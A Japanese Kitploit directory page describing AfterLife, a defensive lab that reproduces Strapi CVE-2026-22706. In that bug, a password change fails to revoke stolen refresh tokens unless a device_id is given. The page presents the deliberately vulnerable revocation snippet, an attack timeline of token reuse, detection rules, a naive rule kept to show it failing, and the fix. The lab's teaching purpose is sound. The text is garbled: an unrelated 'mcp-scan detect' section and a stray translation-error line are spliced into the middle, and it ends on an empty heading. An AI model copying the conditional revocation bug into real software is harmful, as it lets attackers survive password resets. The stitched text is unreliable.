Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
AfterLife — 失効の永続化検出ラボ:パスワードリセットは成功したのに攻撃者が去らない場合。Strapi CVE-2026-22706 の条件付き失効バグ、その修正、3つのルールからなる検出パック、そしてそれを見逃す素朴なルールを再現します。 | Kitploit
ツール/GitHubGitHub/het-p301204/afterlife
防御ツール脆弱性分析ウェブセキュリティ認証学習と教育レッドチーミングインシデントレスポンスラボと実践
GitHubhet-p301204/afterlife

AfterLife

失効の永続化検出ラボ:パスワードリセットは成功したのに攻撃者が去らない場合。Strapi CVE-2026-22706 の条件付き失効バグ、その修正、3つのルールからなる検出パック、そしてそれを見逃す素朴なルールを再現します。

リポジトリを見る
1日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

AFTERLIFE

失効永続化検出ラボ

パスワードリセットが成功しても、攻撃者が去らないとき。

単一の脆弱性クラスに焦点を当てたローカルのレッド/ブルーラボ:本来それを無効化するはずの イベントよりも長く生き残る資格情報。 これにはエクスプロイト、根本原因、修正、3ルールの検出パック、ルールが構造的に見ることのできない ものを対象とした状態監査、フォレンジックコンソール — そして機能しない検出ルールが含まれ、 失敗を実演するためにリポジトリに保持されている。

CI tests python rules OWASP CWE license

クイックスタート · 発見事項 · なぜ素朴な検出は失敗するのか · ルールパック · コンソール · 修正 · マトリクス · テスト · ドキュメント


同じ攻撃を両方の実装に対して行ったもの。資格情報ごとに1本のバーで、発行から消滅までを系統ごとにグループ化している。破線はパスワード変更を表す。脆弱モードでは5本のバーがそれを越えて伸び続けるが、修正モードでは盗まれた系統のすべてのバーがそこで止まる。

同じ攻撃。同じリクエスト。違いは1つだけ。 コンソールが描画するのと同じペイロードから scripts/figures.py によって生成され — CIで再生成および差分比較されるため、図がコードから乖離することはない。


封じ込めない封じ込めアクション```text

09:00 alice logs in ┐ refresh credential rt-001 │ the attacker steals rt-001 ┘

10:00 alice changes her password ← the one thing a victim can do alone HTTP 200 · password changed · fresh session issued

10:00:03 attacker: POST /refresh rt-002 → HTTP 200 new access credential at-004, issued 10:00:03

10:01:00 attacker: GET /me at-004 → HTTP 200 {"username": "alice", "authenticated": true}

root@kitploit:~
エラーなし。異常なし。数えるべき認証失敗もなし。攻撃者のアクセス資格情報は*3秒前*に生成されたもので、リセット後にサーバーが要求に応じて発行したものだ。

これが脆弱性のすべてである:```python
def _revoke_for_security_change(self, user, kind, device_id):
    if device_id:
        revoke_credentials(user, device_id=device_id)   # ← the finding

レビュアーの視点でこれを読んでほしい。失効ロジックはまさにそこにある。正しいスコープで正しい関数を呼び出している。その周囲のエンドポイントはパスワードハッシュを更新し、200 を返し、新しいセッションを発行する — 正しいパスワード変更の観察可能な挙動はすべて揃っている。

そして呼び出し元が device_id を省略した場合、何も失効されず、エンドポイントは依然として成功を報告する。

これは仮定の話ではない。Strapi ≤ 5.33.2 における CVE-2026-22706 であり、リフレッシュトークンの無効化ステップが呼び出し元が指定する deviceId に条件付けられていた。スコアは 2.1、Low。詳細は 後述。


なぜこれが重要か

スコアが低いのは、攻撃者がすでにアクセス権を持っていたからだ — それが侵入条件であり、このバグが新たに与えるものは何もない。このバグが与えるのは持続時間であり、それは被害者自身が操作できる唯一の制御を破壊することによってなされる。

  • すべてのアカウント乗っ取りのランブックはパスワードをリセットすることから始まる。すべての製品がユーザーに同じことを伝える。
  • それが静かに失敗すると、被害者には問題が解決したと伝えられ、探すのをやめる — これによりアカウント乗っ取りにおいて最も重要な検知シグナル、すなわちユーザーが気づくことがオフになる。
  • 持続ウィンドウはリフレッシュクレデンシャルの有効期間である: デフォルトで30日、ローテーションにより無期限に更新可能。 test_persistence_lasts_as_long_as_the_refresh_credential は7日間のシミュレートされた時間を辿ってそれを示す。
  • ユーザーが取れる第二のアクションはない。二度目のパスワード変更は一度目とまったく同じ効果しかない。

封じ込めパスにおける Low スコアのバグは、機能パスにおける Low スコアのバグよりもコストが高い。なぜならそのコストはインシデントの最中に支払われ、そのとき誰もアドバイザリを読んでいないからだ。


素朴な検出器

最初に書くルール:```text IF credential.issued_at < credential_change.timestamp: ALERT

root@kitploit:~
これは愚かなルールではない。安価で、フィールドが1つで済み、問題の定義のように読め、そして**単純なケースについては正しい**——リセット後に盗まれた*アクセス*トークンを使う攻撃者は捕まる。
`test_the_naive_rule_catches_the_simple_case` はそれが機能することを主張している。

どちらのルールも、同じクレデンシャルについて同じ問いを立てている。答えを出すために異なるフィールドを読み、その2つのフィールドは食い違う:

![2つの行、フィールドごとに1つ。credential.issued_at は 10:00:03、変更の3秒後を読み取り、クレデンシャルはクリーンに見えると結論づける。lineage.root_issued_at は 09:00:00、変更の1時間前を読み取り、アラートを出す。](https://raw.githubusercontent.com/het-p301204/afterlife/main/docs/figures/two-fields.svg)

**3秒後、それとも1時間前——同じクレデンシャル、同じ瞬間。** 素朴なルールは攻撃者が制御するフィールドを尋ねており、1回の `POST /refresh` でそれがリセットされる。

これをリクエストログに対して実行しよう。実際にこのクエリが書かれるのはそこであり、手元にあるのはリクエストログだからだ:```text
NAIVE DETECTOR (NAIVE-001), over the request log

  Result: NO ALERT

  Six requests were served to the attacker after the reset. Every one of them
  carried at-004, minted at 10:00:03 -- three seconds *after* the password
  change. By its own timestamp it is the newest credential on the account.

そこで止めるのは簡単だが、不誠実でもある。だからこのラボでは、素朴なルールの最も公平なバージョンも実行する — リフレッシュエンドポイントも監視するように拡張したものである:```text NAIVE DETECTOR, widened to include POST /refresh

1 alert at 2026-09-11T10:00:03.000Z: the credential presented to /refresh was rt-002, issued 2026-09-11T09:30:00.000Z. Then it goes blind. 6 events follow that hop and it flags none of them, because every credential from there on carries a post-reset timestamp. Its incident covers 1 accepted request; the lineage rule's covers all of them.

And look at what the alert names: NAIVE-001 revoke rt-002 -- rotated away and already dead at 10:00:03 AFTERLIFE-001 revoke lin-001 -- the live thing every future credential descends from

root@kitploit:~
3amに本当に重要なのはその違いだ。素朴なルールはチェーンが境界を越える
瞬間を一度だけ捉え、残り29日間は痕跡を見失う——そしてそれが名指しする
クレデンシャルは*すでにローテーションされ、サーバーによって失効させられている*。
それを失効させても何の意味もない。殺すべき対象は`lin-001`だ。

**そして素朴なルールはテレメトリに飢えていたわけではない。** 同じイベント
ストリーム、同じリネージインデックス、同じトレランス、同じ重複排除、
同じ有界状態を使用している。ただ1つのメソッドをオーバーライドするだけだ:```python
class Correlator:                                  # AFTERLIFE-001
    def _age_reference(self, facts):
        return facts.root_issued_at

class NaiveCorrelator(Correlator):                 # NAIVE-001
    def _age_reference(self, facts):
        return facts.issued_at

root_issued_at は、すでに参照しているインデックス内に存在している。 test_the_naive_rule_had_the_data_it_needed がそれを証明している。失敗は 比較にあり、ログ記録にあるのではない。


ルールパック

1つのログに対する3つのルール。それぞれ異なる問いに答え、インシデントが実際に展開する順序で発火する。


10:00:00 HIGH AFTERLIFE-003 Incomplete revocation at a security change 10:00:03 HIGH AFTERLIFE-001 Post-revocation credential lineage use

root@kitploit:~
**その順序付けがこのリポジトリで最も有用なものである。** AFTERLIFE-003
は変更が着地した瞬間、攻撃者が何かに触れる3秒前に発火する。なぜなら、それが
必要とする証拠はすでに完全だからである。ログはどの系統が稼働状態で入ったかを
示しており、それらが失効されたとは示していない。

被害者も悪用も必要としない。ユーザーが最初に実行するパスワードリセットで
欠陥を報告する——つまり、待つべき攻撃者がいないステージング環境で実行する
べきものである。AFTERLIFE-001は侵害が進行中であることを伝え、
AFTERLIFE-003は封じ込め制御が壊れていることを伝える。

![2枚のアラートカード。10:00:00のAFTERLIFE-003はverdict no_containment、watermark not recorded、scope none、lin-001 survivingを報告する。10:00:03のAFTERLIFE-001は、変更の1時間前にrootが発行したcredential rt-002を報告する。](https://raw.githubusercontent.com/het-p301204/afterlife/main/docs/figures/findings-vulnerable.svg)

`application recorded watermark: no` は、インシデント対応者を症状ではなく
*欠陥*へと導くフィールドである。

### ルールが使用するウォーターマークは、アプリケーションが報告するものではない

資格情報変更イベントは `revocation_watermark` フィールド——アプリケーションが
書き込んだ `credentials_valid_after` 値——を運ぶ。**脆弱な実装ではこれが
`null` である。なぜならアプリケーションは一度も書き込まなかったからである。**
それがバグである。

したがって、そのフィールドに基づくルールは、まさにそれが捕まえるために存在
するケースに対して盲目となる。ルールはイベント自身の `timestamp` に
アンカーしており、これはアプリケーションがその役割を果たしたかどうかに
かかわらず真であり、欠落したフィールドを証拠として報告する。

### プロパティ```text
  deduplication        6 accepted requests on the stale lineage -> 1 alert
  event order          shuffled stream -> same alert  (1 alert)
  duplicate telemetry  log replayed twice -> 1 alert  (24 duplicate events discarded)
  false positives      the fixed implementation's log -> 0 alerts
  bounded state        caps at 256 activity/user, 2000 users, 20000 credentials

順序独立性は「だいたい動く」では済まされない: test_6b_every_permutation_of_the_critical_events_detects は重要な4つのイベントの 全24通りの順序を実行し、それぞれからちょうど1件のアラートを要求する。 重複排除は (user_id, credential_change_event_id, lineage_id) をキーとし、 その手前に event_id の抑制を置くことで、再生されたファイルがカウントを 水増しできないようにしている。

完全なルールカード、必要なテレメトリ、対応ランブック: docs/detection.md。


コンソール

このラボが扱うただ一つの問いのための閲覧面。アラート件数のダッシュボードではなく ——死亡登録簿である。資格情報ごとに1本のバーを、発行から死まで、 それが由来する系統へとグループ化し、パスワード変更を、それ以前のすべてが そこで終わるはずだった線として描く。

脆弱モードにおける完全な AFTERLIFE コンソール: マストヘッド、セリフ体の評決、5セルのカウンターストリップ、2フィールドの比較、ギロチンを横切る5本のバーを伴うライフライン・チャート、そして両方のアラートカード。

意図的な反転が一つ: 暖かさは生きていることを意味し、線を越えた後の暖かさは 誤りである。 ほとんどのセキュリティUIでは赤はエラーが発生したことを意味する。 ここでは何もエラーにならない——脆弱な実行におけるすべてのリクエストは 200 を返す。 そこで色は代わりに死亡率に従う: 冷たさは命じられて死んだ資格情報、暖かさは まだ息をしているもの、そしてギロチンを越えた先でなお暖かいことが、この発見の すべてである。(BLACKOUT も同じ取り決めを採用しており、そこでは 200 が赤い方だった。)

細い縦のドロップは系譜である: その瞬間に親から鋳造された子資格情報。 rt-001 → rt-002 → rt-004 はウィンドウ全体を右へ下へとステップし、脆弱モードでは 切断の後もステップし続ける——これは、自らの絶滅イベントの向こう側で 新しい資格情報を鋳造し続ける系統の姿である。```bash python scripts/lab.py console

root@kitploit:~
**[`docs/console-preview.html`](https://github.com/het-p301204/afterlife/blob/main/docs/console-preview.html)** を書き出します — 両方の実行結果を埋め込んだ、自己完結型の 74 KiB ファイルです。サーバーもネットワークも、取得するフォントも不要で、ファイルシステムから開くだけです。またはライブ版を実行してください:```bash
python -m console

スクラバーを 10:00:00 より前へドラッグで戻し、そこを越えて前へ進めると、ログがそれを正当化した時点で検出事項が現れる。変更点で AFTERLIFE-003、3秒後に AFTERLIFE-001 である。何が削られたかを含む設計上の理由は docs/console-design.md にある。

コンソールは構造上読み取り専用である。完了したシナリオを再実行して描画するだけで、実装を切り替えたり、時計を進めたり、何かを取り消したりすることはできない。test_the_console_has_no_control_surface は、唯一の非GETルートが /api/rebuild であることを検証する。読み取っている対象を変更できる読み取り面は、信頼できないものである。


アーキテクチャ

6つのパッケージ、1つのセキュリティクラス、インフラストラクチャなし。```text app/ the lab application config.py mode selection; defaults to fixed, deliberately store.py SQLite credential state + the security-change audit trail tokens.py minting and decoding; a JWT is a signed pointer to a row auth.py login / refresh / change-password + THE BUG + the audit main.py six endpoints

common/ clock.py a rewindable UTC clock, so an hour of history costs nothing events.py the event vocabulary, shared by app and detector telemetry.py JSONL emission with credential-name redaction

detector/ strictly downstream: reads a log file, decides nothing base.py the alert shape, replay suppression, bounded state lineage.py rebuilds a credential's ancestry from issuance events ledger.py which lineages are alive, per user rules.py AFTERLIFE-001 persistence reuse.py AFTERLIFE-002 theft containment.py AFTERLIFE-003 the defect itself naive.py NAIVE-001, kept in order to be demonstrated failing audit.py the state scan the rules structurally cannot do engine.py the pack: one shared index, one stream, ranked alerts tail.py byte-offset JSONL tailer

console/ the mortality register payload.py one run, shaped for drawing static/ ~1400 lines of vanilla HTML/CSS/JS, no build step

scripts/ lab.py the demonstration scenarios.py nine scenarios x both implementations report.py the incident report preview.py bake the offline console figures.py render the console to SVG for this README

tests/ 290 tests

root@kitploit:~
アプリケーションはデモ、コンソール、テストの下で**インプロセス**で動作する。ポートも、開発サーバーも、Dockerもない。クロックは固定されているため、すべての実行は決定論的であり、コミットされたテレメトリ、コンソール、図、レポートはすべて実行間でバイト単位で同一である — これをCIが `git diff --exit-code` でチェックする。

### サーバー側の強制

クレデンシャルは**行**であり、文字列ではない。クライアントが保持するJWTは `cid` — ルックアップキー — を運び、その行がクレデンシャルが有効かどうかを決定する。

有効期限は、保持者が提示した `exp` クレームではなく、その行の `expires_at` に対してチェックされる。両方の時間的クレームは `verify=False` でPyJWTに渡される。これはここでは*「サーバーがこれを自身でチェックする」*ことを意味し、[`app/auth.py`](https://github.com/het-p301204/afterlife/blob/main/app/auth.py) がすべてのリクエストでそうしている。クライアントは、自身のクレデンシャルがまだ有効かどうかについて投票権を持たない。

---

## 攻撃タイムライン```mermaid
flowchart TD
    A["Account compromised<br/><i>phishing · XSS · stolen backup</i>"] --> B["Attacker holds refresh credential rt-001<br/>lineage lin-001, root sess-001 @ 09:00"]
    B --> C["Legitimate password change @ 10:00<br/>HTTP 200 · password hash updated"]
    C --> D{"device_id supplied?"}
    D -->|"yes"| E["revoke_credentials(user, device_id)<br/>rt-001 revoked"]
    D -->|"no — the exploit"| F["nothing revoked<br/>no watermark written"]
    E --> G["Attacker refresh → 401<br/><b>contained</b>"]
    F --> AF3["<b>AFTERLIFE-003 · HIGH</b> @ 10:00:00<br/>containment did not run<br/><i>no attacker action required</i>"]
    F --> H["POST /refresh rt-002 → 200<br/>mints at-004 @ 10:00:03"]
    H --> I["GET /me at-004 → 200<br/>well-formed · correctly signed · <b>no anomaly</b>"]
    I --> J["at-004.issued_at > watermark<br/>NAIVE-001: no alert"]
    I --> K["lineage lin-001 root @ 09:00 < watermark<br/><b>AFTERLIFE-001 · HIGH</b>"]
    F --> L["attacker holds and never spends<br/>AFTERLIFE-001 silent — correctly<br/><b>state audit: dormant survivor</b>"]

    style F fill:#7f1d1d,color:#fff
    style H fill:#7f1d1d,color:#fff
    style I fill:#7f1d1d,color:#fff
    style J fill:#78350f,color:#fff
    style K fill:#14532d,color:#fff
    style AF3 fill:#14532d,color:#fff
    style L fill:#1e3a5f,color:#fff
    style E fill:#14532d,color:#fff
    style G fill:#14532d,color:#fff

中央のリフレッシュチェーン分岐こそが核心である。攻撃者は古い資格情報を使うのではない。古い系統を使い、その系統が必要に応じて新しいものを発行する。


トークン系統

セッションは系統のルートである。その下で発行されるすべてのものは、永遠にそのルートを継承する。```text sess-001 session lineage lin-001 root sess-001 issued 09:00:00 │ ├── rt-001 refresh parent sess-001 root_issued_at 09:00:00 │ └── at-001 access parent rt-001 root_issued_at 09:00:00 │ ├── rt-002 refresh parent rt-001 root_issued_at 09:00:00 ← 09:30 rotation │ └── at-002 access parent rt-002 root_issued_at 09:00:00 │ └── rt-004 refresh parent rt-002 root_issued_at 09:00:00 ← 10:00:03 rotation └── at-004 access parent rt-004 root_issued_at 09:00:00 issued_at 10:00:03

root@kitploit:~
`at-004` は生まれてから3秒しか経っていない。その系譜は1時間前のものだ。どちらも事実であり、リクエストログに見えるのはそのうち片方だけである。

これを支える2つの不変条件があり、どちらもテストされている:

1. **認証だけが系譜を生み出す。** `Store.open_session` は `lineage_id` が生成される唯一の場所であり、セッション自身をその `root_credential_id` にする。
2. **発行はルートをコピーして引き継ぐ。** `TokenService.mint` は系譜フィールドを再計算せず親から読み取るため、資格情報がその由来となるログインより新しい系譜を獲得することはできない。

保持者が提示するトークンは、その系譜ルートを意図的に**持たない**。もし持っていれば、保持者はそれについて嘘をつくことができてしまう。

---

## 状態監査

AFTERLIFE-001 は、古い系譜が*使用された*ときに発火する。これは検知ルールのトリガーとしては正しいが、穴が残る:**誰も触れていない古い系譜は、それにとって不可視である。** 資格情報を盗み、リセットが失敗するのを確認し、その後待機する攻撃者は、相関させるべき活動を何も生み出さない。

そこでラボは、ルールにはできない問いも投げかける:*何が起きたか*ではなく、*何がまだ生きているか*である。```text
  scenario: dormant-survivor   (the attacker holds the credential and never spends it)

  AFTERLIFE-001   silent   — correct; nothing was accepted
  AFTERLIFE-003   HIGH     — the change revoked nothing
  state audit     1 stale lineage, 1 dormant

検出

検出の仕組み

detect コマンドは、ファイルシステムをスキャンして、インストールされている AI エージェント、MCP サーバー、および関連する設定を検出します。以下の場所をチェックします。

  • AI エージェント: Claude Desktop、Cursor、Windsurf、VS Code、およびその他の MCP 対応クライアント
  • MCP サーバー: 設定ファイルで定義されたサーバー
  • 設定ファイル: 各エージェントの設定ファイルの場所

検出出力

root@kitploit:~
# 基本的な検出
mcp-scan detect

# 詳細出力付き
mcp-scan detect --verbose

# JSON 形式で出力
mcp-scan detect --json

検出結果の理解

検出結果には以下が表示されます。

  • エージェント名: 検出された AI エージェントの名前
  • 設定パス: 設定ファイルの場所
  • MCP サーバー: 設定された MCP サーバーのリスト
  • ステータス: 検出ステータス (検出済み、未検出、エラー)

サポートされているエージェント

検出の例

root@kitploit:~
$ mcp-scan detect

🔍 AI エージェントと MCP サーバーをスキャン中...

✅ Claude Desktop を検出
   設定: ~/Library/Application Support/Claude/claude_desktop_config.json
   MCP サーバー: 3

✅ Cursor を検出
   設定: ~/.cursor/mcp.json
   MCP サーバー: 2

✅ Windsurf を検出
   設定: ~/.codeium/windsurf/mcp_config.json
   MCP サーバー: 1

📊 検出サマリー:
   - 検出されたエージェント: 3
   - 検出された MCP サーバー: 6
   - スキャンした設定ファイル: 3

検出オプション

オプション説明
--verbose詳細な検出情報を表示
--json結果を JSON 形式で出力
--config <path>カスタム設定パスを指定

検出のトラブルシューティング

エージェントが検出されない場合:

  1. 設定パスを確認: エージェントがデフォルト以外の場所にインストールされている可能性があります
  2. 権限を確認: 設定ファイルを読み取るための適切な権限があることを確認してください
  3. カスタムパスを使用: --config オプションでカスタム設定パスを指定します
root@kitploit:~
# カスタム設定パスを指定
mcp-scan detect --config /path/to/custom/config.json

# 特定のエージェントのみを検出
mcp-scan detect --agent claude
``````bash
python scripts/lab.py audit

Input content is missing. Please provide the Markdown text to translate.```text VULNERABLE server state 1 lineage(s) outlived the change (0 dormant) telemetry 1 lineage(s) -- the same question, asked of the log instead of the database lin-001 root 2026-09-11T09:00:00.000Z 7 credentials in use

FIXED server state clean telemetry clean

root@kitploit:~
2つの情報源を意図的に用いている。**テレメトリ**監査はログが証明できるものを見て、**サーバー状態**監査はデータベースが信じているものを見る。*両者が食い違う場合、ログは認証情報の状態を忠実に記録したものではなく、その上に構築されたあらゆる検知は見かけよりも弱い* — そのためコマンドは両方を出力し、食い違う場合はその旨を告げる。

サーバー状態監査には `security_changes` テーブルが必要であり、これは**両モードが書き込む**。変更が発生したことを記録することは、それに対処することとは別の義務であり、脆弱な実装はそのうちちょうど一方しか満たしていないからである。

---

## シナリオマトリクス

両実装に対して9つのシナリオ。`python scripts/scenarios.py` は自身の2つの不変条件をアサートし、いずれかが破られた場合は非ゼロで終了する。

| scenario | mode | events | worst | rules fired | stale | dormant |
|---|---|---:|---|---|---:|---:|
| `legitimate-only` | vulnerable | 19 | LOW | `AFTERLIFE-003` | 0 | 0 |
| `legitimate-only` | fixed | 19 | – | none | 0 | 0 |
| `stolen-refresh` | vulnerable | 22 | HIGH | `AFTERLIFE-001`, `AFTERLIFE-003` | 1 | 0 |
| `stolen-refresh` | fixed | 23 | – | none | 0 | 0 |
| `stolen-refresh-with-device-id` | vulnerable | 19 | LOW | `AFTERLIFE-003` | 0 | 0 |
| `stolen-refresh-with-device-id` | fixed | 19 | – | none | 0 | 0 |
| `multi-device` | vulnerable | 29 | HIGH | `AFTERLIFE-001`, `AFTERLIFE-003` | **2** | 0 |
| `multi-device` | fixed | 29 | – | none | 0 | 0 |
| `refresh-reuse` | vulnerable | 11 | MEDIUM | `AFTERLIFE-002` | 0 | 0 |
| `refresh-reuse` | fixed | 15 | MEDIUM | `AFTERLIFE-002` | 0 | 0 |
| `dormant-survivor` | vulnerable | 15 | HIGH | `AFTERLIFE-003` | 1 | **1** |
| `dormant-survivor` | fixed | 19 | – | none | 0 | 0 |
| `mfa-change` | vulnerable | 18 | HIGH | `AFTERLIFE-001`, `AFTERLIFE-003` | 1 | 0 |
| `mfa-change` | fixed | 18 | – | none | 0 | 0 |
| `account-recovery` | vulnerable | 18 | HIGH | `AFTERLIFE-001`, `AFTERLIFE-003` | 1 | 0 |
| `account-recovery` | fixed | 18 | – | none | 0 | 0 |
| `expired-lineage` | vulnerable | 17 | LOW | `AFTERLIFE-003` | 0 | 0 |
| `expired-lineage` | fixed | 20 | – | none | 0 | 0 |

4つの行が議論を伴う:

* **`legitimate-only`** には攻撃者が一切存在しない。修正版は何も生成せず、脆弱な実装はLOWを生成する。これは誤検知ではない — `enumeration_only` である。つまり失効は*今回は*機能したが、それは列挙によるものであり、サーバーが忘れてしまった認証情報をカバーするウォーターマークが存在しない。**このパックは攻撃者が存在しない状態で両実装を区別する。**
* **`dormant-survivor`** は盲点であり、その答えを1行に示している:`AFTERLIFE-001` は沈黙、`AFTERLIFE-003` はHIGH、監査は `dormant: 1`。
* **`multi-device`** は、脆弱な実装の*機能している*ブランチがなお失敗する箇所である — 失効がラップトップにスコープされ、他の2台のデバイスは手つかずのままである。
* **`expired-lineage`** は誤検知の対照である。認証情報が自然に期限切れになった40日前のセッションは、生き残った永続化経路ではなく、そのようには報告されない。

そしてマトリクスの中心的な主張は、スクリプトと `test_the_fix_never_produces_a_control_failure_finding` によって検証されている:**修正版はいかなるシナリオにおいても制御失敗の検知結果を出さない。** `AFTERLIFE-002` は通される — これは制御失敗ではなく盗難を報告するものであり、正しい実装にもなお報告すべき盗難は存在する。

---

## 誤検知

パスワードリセットのたびにページングするルールは1週間以内にミュートされ、ミュートされたルールはルールがないよりも悪い — それは誰もが実行されていると信じているルールである。

| case | outcome | why |
|---|---|---|
| Password change, then the replacement session is used | no alert | the new lineage's root is at or after the watermark |
| Reset then immediate browsing (`/me`, `/profile`, `/settings`) | no alert | one fresh lineage, one fresh root |
| Phone, laptop and tablet, all correctly rotated | no alert | each login is its own lineage |
| A device that logged in *after* the change, browsing alongside the attacker | no alert | fresh root — and the stale lineage still alerts, alone |
| A stale credential that was **rejected** | no alert | `result: failure` is excluded; it is evidence for the defence |
| Clock skew up to 2s between components | no alert | the documented tolerance |
| A *failed* password change | no alert | not an anchor |
| Activity before the change | no alert | time-ordering check |
| A rotated credential (`reason: rotated`) | not counted as death | a credential spent, not a lineage killed |
| A 40-day-old session whose credentials expired | not a survivor | expiry tracked per lineage |
| A first password change on a brand-new account | no alert | nothing was live going in |
| **Refresh-token rotation from a stale lineage** | **ALERT** | fresh timestamp, stale ancestry — this is the finding |

すべての行には
[`tests/test_detector_afterlife001.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_detector_afterlife001.py) と
[`tests/test_detector_rulepack.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_detector_rulepack.py) に対応するテストがある。

**2秒の許容範囲について。** このラボのすべてのタイムスタンプは単一のプロセスと単一のクロックから来ているため、正直な許容範囲はゼロである。2秒は、NTP下での現実的な2ホスト構成のデプロイに必要な値であり、この攻撃が生み出すギャップより3桁小さい — リフレッシュ認証情報の目的そのものが長期間有効であることだからである。この許容範囲は、真に古いリネージが*無視される*ウィンドウであるため、意図的に小さく保たれている:
`test_12b_a_gap_beyond_the_tolerance_does_alert` は2.1秒でもなお発火することを固定している。

---

## 修正```python
# THE FIX.  Two mechanisms, deliberately redundant.
self.store.set_watermark(user.user_id, moment)              # the guarantee
revoked = self.store.revoke_credentials(user.user_id, ...)   # defence in depth

device_id のどちらにも依存しません。これはコンテキストとして記録されるものであり、影響範囲の決定には関与しません。

ウォーターマークはアーキテクチャ上の保証です。 ユーザーごとに1つのタイムスタンプ credentials_valid_after を持ち、すべてのリクエストで、クレデンシャル自身の発行時刻およびそのリネージュルートの両方と照合されます:```python watermark = user.credentials_valid_after if credential.issued_at < watermark: reject # the obvious case if credential.root_issued_at < watermark: reject # the refresh chain

root@kitploit:~
2つ目の比較は、正しく実装するのにコストがかかるものであり、素朴な実装が省略してしまうものである — 検出においてとまったく同様に、強制においても。

**明示的な失効は多層防御であり**、証拠でもある。`revoked_at` と `revocation_reason` はインシデント対応者が読むものであり、`auth.token.revoked` イベントは封じ込めが実際に行われたことを証明するものである。

`test_the_watermark_alone_rejects_a_stale_credential` は、何も失効させずにウォーターマークを*設定*し、古い資格情報が拒否されることを要求する — これにより、2つのうちどちらが本質的な役割を担っているか、そしてサーバーが発行したことを忘れてしまった資格情報に対してもなお成立する特性がどちらであるかが明らかになる。

### 同じ攻撃を、修正に対して行う

![修正モードのコンソール: 判定は「変更前に発行されたものは変更後には何も機能しない」と表示され、カウンターはすべて緑、lin-001のすべてのバーはギロチンで終端し、findingsパネルはfindingsなしと5つのパスしたチェックを報告している。](https://raw.githubusercontent.com/het-p301204/afterlife/main/docs/figures/console-fixed.svg)

変更されたリクエストは1つもない。変更された関数が1つある。

### パスワードだけではない

トリガーは*「パスワードが変更された」*ではない。*「以前に発行された資格情報を信頼できなくする何かが変更された」*である。4つのルートはすべて `_revoke_for_security_change` を共有しているため、修正とバグは以下に対して同一に適用される:

| 変更 | 資格情報が信頼できなくなる理由 |
|---|---|
| パスワード変更 / リセット | セッションが確立された際のシークレットが失われた |
| MFA登録または変更 | セッションが確立された際の要素がアカウントの要素ではない |
| ロール変更 / 権限昇格 | 資格情報が異なる認可の下で発行された |
| アカウント復旧 | 構造上、アカウントは先ほど誰かの手に渡っていた可能性がある |
| ログイン | 他を*失効させない* — 新しい系統であり、古いものが信頼できないという表明ではない |

すべての種類について、両モードでテストされている、[`tests/test_privilege_changes.py`](https://github.com/het-p301204/afterlife/blob/main/tests/test_privilege_changes.py) において — ログインが要件でないことも含めて、次の読者がそれを「修正」しないように文書化されている。

---

## アーキテクチャ上のトレードオフ

資格情報を機能しなくする方法は4つある。AFTERLIFEは **A + C** を実装しており、順序が重要である。

| | メカニズム | 得られるもの | コスト |
|---|---|---|---|
| **A** | ユーザーごとの失効ウォーターマーク | 1回の書き込みで、サーバーが発行を忘れた資格情報を含むすべてを失効させる; O(1)のストレージとチェック | 読み取りパス上のサーバー側状態; タイムスタンプのセマンティクスが正確でなければならない; ウォーターマーク*以降*に発行された資格情報については何も言わない |
| **B** | 短命なアクセス + 失効可能なリフレッシュ | 読み取りパス状態なしでアクセストークンの被害を制限する | 盗まれたアクセストークンは有効期限まで有効; リフレッシュ側には依然として状態が必要 — **これがCVEが潜むパターンである** |
| **C** | 明示的なデナイリスト | 正確; インシデント対応者にとって読みやすい; 封じ込めを証明するテレメトリを生成する | 状態が増大しクリーンアップが必要; 列挙することを覚えていたものだけを失効させる — これがバグが間違えたクエリである |
| **D** | 完全にステートレスなJWT | 読み取りパス状態がまったくない | **失効が存在しない。** TTLとキーローテーションが唯一の手段である |

Dについて: JWTは本質的に安全でないわけではない。緊張関係はより狭く、正確に述べる価値がある — **ステートレスな検証と即時のサーバー側失効は相互に排他的である。** 「この資格情報はもはや有効ではない」と判断するには、それを知っている何かに問い合わせる必要があり、問い合わせることがシステムをステートフルにする。間違いは、ステートレス性*のために*JWTを採用し、それでもなお失効が必要になることである。これはすべての製品がノートPCが盗まれた最初の時に経験する。最終的に得られるのは、サーバー側状態への署名されたポインタである — これは [`app/tokens.py`](https://github.com/het-p301204/afterlife/blob/main/app/tokens.py) が意図的に実装しているものである。なぜなら、意図的にそこに到達する方が、インシデントの最中にそこに到達するよりも安くつくからである。

### なぜ2.1 Lowについて議論するのが間違っているのか

CVE-2026-22706は **2.1, Low** とスコアされる(CVSS v4.0 `AV:N/AC:H/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`)、そしてこのスコアは擁護可能である: `PR:H` は攻撃者がすでに有効なリフレッシュ資格情報を保持していなければならないため、`AC:H` はそれを入手するには事前の侵害が必要なため、そして `VC:N`/`VI:L` はこの欠陥が攻撃者がすでに持っていないアクセスを付与しないためである。CVSSは脆弱性の*限界的*影響を測定しており、限界的影響とはアクセスの**期間**であり、その範囲ではない。これらの入力が与えられれば、2.1は公式から正しく導出される。

CVSSがモデル化していないのは、失敗している制御が*封じ込めアクション*であるということであり — したがって有用な結論は、数値についてではなくトリアージのルーティングについてである。封じ込めパスにおけるLowは、機能パスにおけるLowがそうでないのに対し、注意に値する。なぜならコストはインシデントの最中に支払われるからである。完全な議論: **[docs/tradeoffs.md](https://github.com/het-p301204/afterlife/blob/main/docs/tradeoffs.md#on-the-cvss-score)**。

---

## テスト```text
290 passed

スイート内で最強のテストは test_no_bearer_string_or_password_ever_reaches_the_log である。これは攻撃全体を実行し、その後ログファイルを検索して、アプリケーションが発行した実際の資格情報、両方のパスワード、および署名鍵を探す。フィールド名ではなく — 値そのものを。


ブラインドスポット

率直に述べる。隠すことはこのラボを不誠実にするからである。それぞれにテストがある。

